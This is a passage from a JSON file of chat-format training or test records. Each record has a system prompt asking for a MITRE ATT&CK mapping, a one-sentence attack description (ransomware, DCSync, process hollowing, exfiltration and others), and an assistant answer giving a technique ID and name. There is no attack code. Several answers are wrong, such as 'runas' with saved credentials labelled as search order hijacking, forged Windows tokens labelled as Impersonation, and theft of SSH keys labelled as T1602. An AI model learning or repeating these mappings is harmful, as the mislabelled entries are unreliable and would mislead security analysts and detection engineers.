                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A spear‑phishing campaign delivers a payload that turns the victim’s machine into a botnet node for future command‑and‑control."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses a custom encryptor to lock user data on the system, displaying a message demanding Bitcoin for decryption."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses a DNS SRV record lookup to discover the port and host of its C2 service."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is placed in the \\SystemRoot\\System32\\sspts.dll and registered as a Security Support Provider."
            },
            {
                "role": "assistant",
                "content": "T1547.005 - Boot or Logon Autostart Execution: Security Support Provider"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary modifies the website's sitemap.xml to redirect visitors to a defaced page."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a known vulnerability to inject a rule into the victim’s Exchange mailbox that forwards all messages to a malicious domain."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious service is installed using sc.exe with the type set to “Share Process” to hide its presence."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script automates extraction of saved Wi‑Fi passwords by reading them from the Windows Credential Store."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leverages DNS resolution to gather information about the victim's network topology and services."
            },
            {
                "role": "assistant",
                "content": "T1590.002 - Gather Victim Network Information: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team simulated an attack by exporting a GPO backup, editing the 'Maximum password age' setting, and reimporting it."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder installs a rootkit on a Unix server after exploiting a kernel vulnerability."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool deletes all optional resources and comments from its PowerShell script, producing a minimal stripped payload to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1027.008 - Obfuscated Files or Information: Stripped Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor used the command-line utility 'cmd' to disable security services on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware discards extraneous data from its payload, delivering only the essential code to reduce size and hide intent."
            },
            {
                "role": "assistant",
                "content": "T1027.008 - Obfuscated Files or Information: Stripped Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operators employed Chocolatey, a Windows package manager, to silently install a credential dumping utility on target machines."
            },
            {
                "role": "assistant",
                "content": "T1072 - Software Deployment Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A zero‑day exploit in a privileged kernel module is leveraged to execute shellcode with root-level rights."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a vulnerable serverless API gateway, the attacker triggers a Lambda function that exfiltrates data to an external server."
            },
            {
                "role": "assistant",
                "content": "T1648 - Serverless Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A nation‑state actor siphons device enrollment certificates from an IoT gateway, allowing them to register rogue devices on the network."
            },
            {
                "role": "assistant",
                "content": "T1649 - Steal or Forge Authentication Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers compromise a service account and use RDP to log into high‑value servers for data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign uses a drive-by technique, where the landing page contains an exploit kit that silently installs malware on the visitor's computer."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During a post-exploitation phase, the threat actor enumerates the metadata API of an OpenStack instance to retrieve temporary authentication tokens for further lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During a supply chain attack, the attacker adds an LC_LOAD_DYLIB load command to a compiled binary to execute malicious code from a hidden library."
            },
            {
                "role": "assistant",
                "content": "T1546.006 - Event Triggered Execution: LC_LOAD_DYLIB Addition"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operator checks the Group Policy Objects for password policy configurations across OU hierarchy."
            },
            {
                "role": "assistant",
                "content": "T1201 - Password Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A worm spreads across a corporate network, launching a fork bomb on each infected endpoint to exhaust system resources and cause a denial of service."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a signed Apple installer package to deploy a launch daemon that runs with root privileges."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise involved establishing a direct cloud VM connection through the provider's web‑based remote console, obtaining full administrative control."
            },
            {
                "role": "assistant",
                "content": "T1021.008 - Remote Services: Direct Cloud VM Connections"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising a server, the attacker harvests signed code‑signing certificates from the machine's certificate repository for reuse in malicious binaries."
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Obtain Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers used a PowerShell-based tool that wrote stolen data into the payload of ICMP echo requests sent to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary employs malvertising to inject a malicious SWF file into video ads that execute a ransomware payload."
            },
            {
                "role": "assistant",
                "content": "T1583.008 - Acquire Infrastructure: Malvertising"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a Python-based keylogger to capture keystrokes and forward them to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious mobile app accesses the WebView's cookie jar to extract session cookies for unauthorized access."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates an Outlook rule that forwards all incoming messages to a malicious Gmail account."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder forges Windows security tokens to act as a different, higher‑privilege user."
            },
            {
                "role": "assistant",
                "content": "T1656 - Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers leveraged DCSync to request account password hashes via replicated directory services without needing admin rights on the DC."
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exploit a zero‑day vulnerability in the serverless runtime to execute arbitrary code."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exfiltrate data by copying it into a shared SharePoint site they have access to."
            },
            {
                "role": "assistant",
                "content": "T1537 - Transfer Data to Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use TLS with client certificates to create an encrypted channel where only the attacker possesses the private key."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script enumerates and deletes all persistence components, such as registry run entries, startup folders, and Winlogon entries, to obscure their activity."
            },
            {
                "role": "assistant",
                "content": "T1070.009 - Indicator Removal: Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages VDSO hijacking to execute arbitrary code during system call handling, achieving stealthy privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1055.014 - Process Injection: VDSO Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware actor queried the system's configuration repository for stored SSH private keys before encrypting files."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising the network, the threat actor wrote malware logs to a portable external hard drive and physically removed it from the site."
            },
            {
                "role": "assistant",
                "content": "T1052 - Exfiltration Over Physical Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor runs 'dxdiag' and parses its output to collect graphics card and driver versions."
            },
            {
                "role": "assistant",
                "content": "T1592.001 - Gather Victim Host Information: Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware initiates a DDE conversation with the calculator app to execute arbitrary code."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker modifies the configuration file of a web server to point the root directory to a defaced page."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The perpetrator embeds a URL in a seemingly legitimate business invitation that points to a phishing site designed to capture employee credentials."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Phishing for Information: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor installs a daemon named 'cron' that is actually a malicious data exfiltration tool."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor launches a DNS amplification attack, manipulating open resolvers to send large DNS responses to the target's IP address."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider extracts existing Google Cloud service account keys and creates duplicate keys for exfiltration and later use."
            },
            {
                "role": "assistant",
                "content": "T1098.001 - Account Manipulation: Additional Cloud Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group conducts automated scans of internet-wide scanning services to identify unpatched web applications running on default credentials."
            },
            {
                "role": "assistant",
                "content": "T1596.005 - Search Open Technical Databases: Scan Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor takes control of the victim's email domain to intercept and forward internal communications."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit accesses the SAM database in the Windows registry to collect hashed credentials for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploited a known vulnerability in a social media API to retrieve access tokens and assume user identities."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Infected host sends telemetry data to an attacker‑controlled Pastebin URL using a scheduled task to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1567.003 - Exfiltration Over Web Service: Exfiltration to Text Storage Sites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider captures the SSH session token from a colleague’s terminal and replays it to assume the same remote session privileges."
            },
            {
                "role": "assistant",
                "content": "T1563.001 - Remote Service Session Hijacking: SSH Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team simulates creating a domain user account using dsadd user for persistence testing."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor performs a cloud group enumeration via GCP Cloud Resource Manager to discover groups."
            },
            {
                "role": "assistant",
                "content": "T1069.003 - Permission Groups Discovery: Cloud Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor queries the OpenShift API for \"pod\" resources to discover container deployments in the cluster."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through an exposed Docker socket, the malicious script reads the environment variables of running containers to capture API keys and passwords."
            },
            {
                "role": "assistant",
                "content": "T1552.007 - Unsecured Credentials: Container API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses systemctl to enable a custom timer that triggers a reverse shell every hour, ensuring continuous access."
            },
            {
                "role": "assistant",
                "content": "T1053.006 - Scheduled Task/Job: Systemd Timers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries tamper with Active Directory trust relationships, adding a bogus trust to facilitate credential theft."
            },
            {
                "role": "assistant",
                "content": "T1484.002 - Domain Policy Modification: Domain Trust Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By injecting malicious shellcode into a trusted system binary via the Process Hollowing technique, the adversary bypasses application whitelisting."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the 'runas' command with saved credentials to launch a process as an administrator."
            },
            {
                "role": "assistant",
                "content": "T1574.008 - Hijack Execution Flow: Path Interception by Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware authors embed source files in a ZIP archive, which are later compiled on the endpoint to create the final payload."
            },
            {
                "role": "assistant",
                "content": "T1027.004 - Obfuscated Files or Information: Compile After Delivery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware manipulates the Windows Registry’s Run keys to achieve stealthy persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is placed in an AppCert DLL that is invoked when a user runs a specific signed executable."
            },
            {
                "role": "assistant",
                "content": "T1546.009 - Event Triggered Execution: AppCert DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker abuses a legitimate service account token to impersonate the account and execute commands on a Kubernetes cluster."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code exploits a Windows API to perform a low‑level disk format, destroying all partitions on the target machine."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised UEFI module is installed to run a backdoor during the pre‑OS boot process."
            },
            {
                "role": "assistant",
                "content": "T1542.001 - Pre-OS Boot: System Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using Google dorking, the malicious group queries site:reddit.com \"company name\" to gather internal discussions and rumors about upcoming product releases."
            },
            {
                "role": "assistant",
                "content": "T1593.001 - Search Open Websites/Domains: Social Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary queries Active Directory for domain groups using the ‘net group /domain’ command."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performs a man‑in‑the‑middle attack on an active SSH connection, injecting commands to gain control of the remote shell."
            },
            {
                "role": "assistant",
                "content": "T1563.001 - Remote Service Session Hijacking: SSH Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs the 'whoami' command on the compromised host to identify the current logged-in user."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors abuse the Windows \"osk.exe\" accessibility tool to execute a PowerShell script whenever the On‑Screen Keyboard is launched."
            },
            {
                "role": "assistant",
                "content": "T1546.008 - Event Triggered Execution: Accessibility Features"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker registers a domain and points it to a newly provisioned server to act as a C2 hub."
            },
            {
                "role": "assistant",
                "content": "T1583.004 - Acquire Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Credential theft script reads encrypted entries from the Windows Credential Manager and decrypts them using DPAPI."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set transferred encrypted logs to a compromised AWS S3 bucket for later download."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
